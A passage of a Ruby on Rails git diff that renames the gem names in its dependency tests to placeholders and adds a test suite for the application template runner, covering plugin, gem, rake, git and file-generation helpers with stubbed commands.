- @gem_with_version = Rails::GemDependency.new "hpricot", :version => "= 0.6"
- @gem_with_lib = Rails::GemDependency.new "aws-s3", :lib => "aws/s3"
- @gem_without_load = Rails::GemDependency.new "hpricot", :lib => false
+ @gem = Rails::GemDependency.new "xhpricotx"
+ @gem_with_source = Rails::GemDependency.new "xhpricotx", :source => "http://code.whytheluckystiff.net"
+ @gem_with_version = Rails::GemDependency.new "xhpricotx", :version => "= 0.6"
+ @gem_with_lib = Rails::GemDependency.new "xaws-s3x", :lib => "aws/s3"
+ @gem_without_load = Rails::GemDependency.new "xhpricotx", :lib => false
end
def test_configuration_adds_gem_dependency
config = Rails::Configuration.new
- config.gem "aws-s3", :lib => "aws/s3", :version => "0.4.0"
- assert_equal [["install", "aws-s3", "--version", '"= 0.4.0"']], config.gems.collect(&:install_command)
+ config.gem "xaws-s3x", :lib => "aws/s3", :version => "0.4.0"
+ assert_equal [["install", "xaws-s3x", "--version", '"= 0.4.0"']], config.gems.collect(&:install_command)
end
def test_gem_creates_install_command
- assert_equal %w(install hpricot), @gem.install_command
+ assert_equal %w(install xhpricotx), @gem.install_command
end
def test_gem_with_source_creates_install_command
- assert_equal %w(install hpricot --source http://code.whytheluckystiff.net), @gem_with_source.install_command
+ assert_equal %w(install xhpricotx --source http://code.whytheluckystiff.net), @gem_with_source.install_command
end
def test_gem_with_version_creates_install_command
- assert_equal ["install", "hpricot", "--version", '"= 0.6"'], @gem_with_version.install_command
+ assert_equal ["install", "xhpricotx", "--version", '"= 0.6"'], @gem_with_version.install_command
end
def test_gem_creates_unpack_command
- assert_equal %w(unpack hpricot), @gem.unpack_command
+ assert_equal %w(unpack xhpricotx), @gem.unpack_command
end
def test_gem_with_version_unpack_install_command
@@ -43,7 +43,7 @@ uses_mocha "Plugin Tests" do
mock_spec = mock()
mock_spec.stubs(:version).returns('0.6')
@gem_with_version.stubs(:specification).returns(mock_spec)
- assert_equal ["unpack", "hpricot", "--version", '= 0.6'], @gem_with_version.unpack_command
+ assert_equal ["unpack", "xhpricotx", "--version", '= 0.6'], @gem_with_version.unpack_command
end
def test_gem_adds_load_paths
diff --git a/railties/test/generators/rails_template_runner_test.rb b/railties/test/generators/rails_template_runner_test.rb
new file mode 100644
index 0000000000..fcc020603d
--- /dev/null
+++ b/railties/test/generators/rails_template_runner_test.rb
@@ -0,0 +1,190 @@
+require 'abstract_unit'
+require 'generators/generator_test_helper'
+
+class RailsTemplateRunnerTest < GeneratorTestCase
+ def setup
+ Rails::Generator::Base.use_application_sources!
+ run_generator('app', [RAILS_ROOT])
+ # generate empty template
+ @template_path = File.join(RAILS_ROOT, 'template.rb')
+ File.open(File.join(@template_path), 'w') {|f| f << '' }
+
+ @git_plugin_uri = 'git://github.com/technoweenie/restful-authentication.git'
+ @svn_plugin_uri = 'svn://svnhub.com/technoweenie/restful-authentication/trunk'
+ end
+
+ def teardown
+ super
+ rm_rf "#{RAILS_ROOT}/README"
+ rm_rf "#{RAILS_ROOT}/Rakefile"
+ rm_rf "#{RAILS_ROOT}/doc"
+ rm_rf "#{RAILS_ROOT}/lib"
+ rm_rf "#{RAILS_ROOT}/log"
+ rm_rf "#{RAILS_ROOT}/script"
+ rm_rf "#{RAILS_ROOT}/vendor"
+ rm_rf "#{RAILS_ROOT}/tmp"
+ rm_rf "#{RAILS_ROOT}/Capfile"
+ rm_rf @template_path
+ end
+
+ def test_initialize_should_load_template
+ Rails::TemplateRunner.any_instance.expects(:load_template).with(@template_path)
+ silence_generator do
+ Rails::TemplateRunner.new(@template_path, RAILS_ROOT)
+ end
+ end
+
+ def test_initialize_should_raise_error_on_missing_template_file
+ assert_raise(RuntimeError) do
+ silence_generator do
+ Rails::TemplateRunner.new('non/existent/path/to/template.rb', RAILS_ROOT)
+ end
+ end
+ end
+
+ def test_file_should_write_data_to_file_path
+ run_template_method(:file, 'lib/test_file.rb', 'heres test data')
+ assert_generated_file_with_data 'lib/test_file.rb', 'heres test data'
+ end
+
+ def test_file_should_write_block_contents_to_file_path
+ run_template_method(:file, 'lib/test_file.rb') { 'heres block data' }
+ assert_generated_file_with_data 'lib/test_file.rb', 'heres block data'
+ end
+
+ def test_plugin_with_git_option_should_run_plugin_install
+ expects_run_with_command("script/plugin install #{@git_plugin_uri}")
+ run_template_method(:plugin, 'restful-authentication', :git => @git_plugin_uri)
+ end
+
+ def test_plugin_with_svn_option_should_run_plugin_install
+ expects_run_with_command("script/plugin install #{@svn_plugin_uri}")
+ run_template_method(:plugin, 'restful-authentication', :svn => @svn_plugin_uri)
+ end
+
+ def test_plugin_with_git_option_and_submodule_should_use_git_scm
+ Rails::Git.expects(:run).with("submodule add #{@git_plugin_uri} vendor/plugins/rest_auth")
+ run_template_method(:plugin, 'rest_auth', :git => @git_plugin_uri, :submodule => true)
+ end
+
+ def test_plugin_with_no_options_should_skip_method
+ Rails::TemplateRunner.any_instance.expects(:run).never
+ run_template_method(:plugin, 'rest_auth', {})
+ end
+
+ def test_gem_should_put_gem_dependency_in_enviroment
+ run_template_method(:gem, 'will-paginate')
+ assert_rails_initializer_includes("config.gem 'will-paginate'")
+ end
+
+ def test_gem_with_options_should_include_options_in_gem_dependency_in_environment
+ run_template_method(:gem, 'mislav-will-paginate', :lib => 'will-paginate', :source => 'http://gems.github.com')
+ assert_rails_initializer_includes("config.gem 'mislav-will-paginate', :lib => 'will-paginate', :source => 'http://gems.github.com'")
+ end
+
+ def test_environment_should_include_data_in_environment_initializer_block
+ load_paths = 'config.load_paths += %w["#{RAILS_ROOT}/app/extras"]'
+ run_template_method(:environment, load_paths)
+ assert_rails_initializer_includes(load_paths)
+ end
+
+ def test_environment_with_block_should_include_block_contents_in_environment_initializer_block
+ run_template_method(:environment) do
+ '# This wont be added'
+ '# This will be added'
+ end
+ assert_rails_initializer_includes('# This will be added')
+ end
+
+ def test_git_with_symbol_should_run_command_using_git_scm
+ Rails::Git.expects(:run).once.with('init')
+ run_template_method(:git, :init)
+ end
+
+ def test_git_with_hash_should_run_each_command_using_git_scm
+ Rails::Git.expects(:run).times(2)
+ run_template_method(:git, {:init => '', :add => '.'})
+ end
+
+ def test_vendor_should_write_data_to_file_in_vendor
+ run_template_method(:vendor, 'vendor_file.rb', '# vendor data')
+ assert_generated_file_with_data('vendor/vendor_file.rb', '# vendor data')
+ end
+
+ def test_lib_should_write_data_to_file_in_lib
+ run_template_method(:lib, 'my_library.rb', 'class MyLibrary')
+ assert_generated_file_with_data('lib/my_library.rb', 'class MyLibrary')
+ end
+
+ def test_rakefile_should_write_date_to_file_in_lib_tasks
+ run_template_method(:rakefile, 'myapp.rake', 'task :run => [:environment]')
+ assert_generated_file_with_data('lib/tasks/myapp.rake', 'task :run => [:environment]')
+ end
+
+ def test_initializer_should_write_date_to_file_in_config_initializers
+ run_template_method(:initializer, 'constants.rb', 'MY_CONSTANT = 42')
+ assert_generated_file_with_data('config/initializers/constants.rb', 'MY_CONSTANT = 42')
+ end
+
+ def test_generate_should_run_script_generate_with_argument_and_options
+ expects_run_with_command('script/generate model MyModel')
+ run_template_method(:generate, 'model', 'MyModel')
+ end
+
+ def test_rake_should_run_rake_command_with_development_env
+ expects_run_with_command('rake log:clear RAILS_ENV=development')
+ run_template_method(:rake, 'log:clear')
+ end
+
+ def test_rake_with_env_option_should_run_rake_command_in_env
+ expects_run_with_command('rake log:clear RAILS_ENV=production')
+ run_template_method(:rake, 'log:clear', :env => 'production')
+ end
+
+ def test_rake_with_sudo_option_should_run_rake_command_with_sudo
+ expects_run_with_command('sudo rake log:clear RAILS_ENV=development')
+ run_template_method(:rake, 'log:clear', :sudo => true)
+ end
+
+ def test_capify_should_run_the_capify_command
+ expects_run_with_command('capify .')
+ run_template_method(:capify!)
+ end
+
+ def test_freeze_should_freeze_rails_edge
+ expects_run_with_command('rake rails:freeze:edge')
+ run_template_method(:freeze!)
+ end
+
+ def test_route_should_add_data_to_the_routes_block_in_config_routes
+ route_command = "map.route '/login', :controller => 'sessions', :action => 'new'"
+ run_template_method(:route, route_command)
+ assert_generated_file_with_data 'config/routes.rb', route_command
+ end
+
+ protected
+ def run_template_method(method_name, *args, &block)
+ silence_generator do
+ @template_runner = Rails::TemplateRunner.new(@template_path, RAILS_ROOT)
+ @template_runner.send(method_name, *args, &block)
+ end
+ end
+
+ def expects_run_with_command(command)
+ Rails::TemplateRunner.any_instance.stubs(:run).once.with(command, false)
+ end
+
+ def assert_rails_initializer_includes(data, message = nil)
+ message ||= "Rails::Initializer should include #{data}"
+ assert_generated_file 'config/environment.rb' do |body|
+ assert_match(/#{Regexp.escape("Rails::Initializer.run do |config|")}.+#{Regexp.escape(data)}.+end/m, body, message)
+ end
+ end
+
+ def assert_generated_file_with_data(file, data, message = nil)
+ message ||= "#{file} should include '#{data}'"
+ assert_generated_file(file) do |file|
+ assert_match(/#{Regexp.escape(data)}/,file, message)
+ end
+ end
+end \ No newline at end of file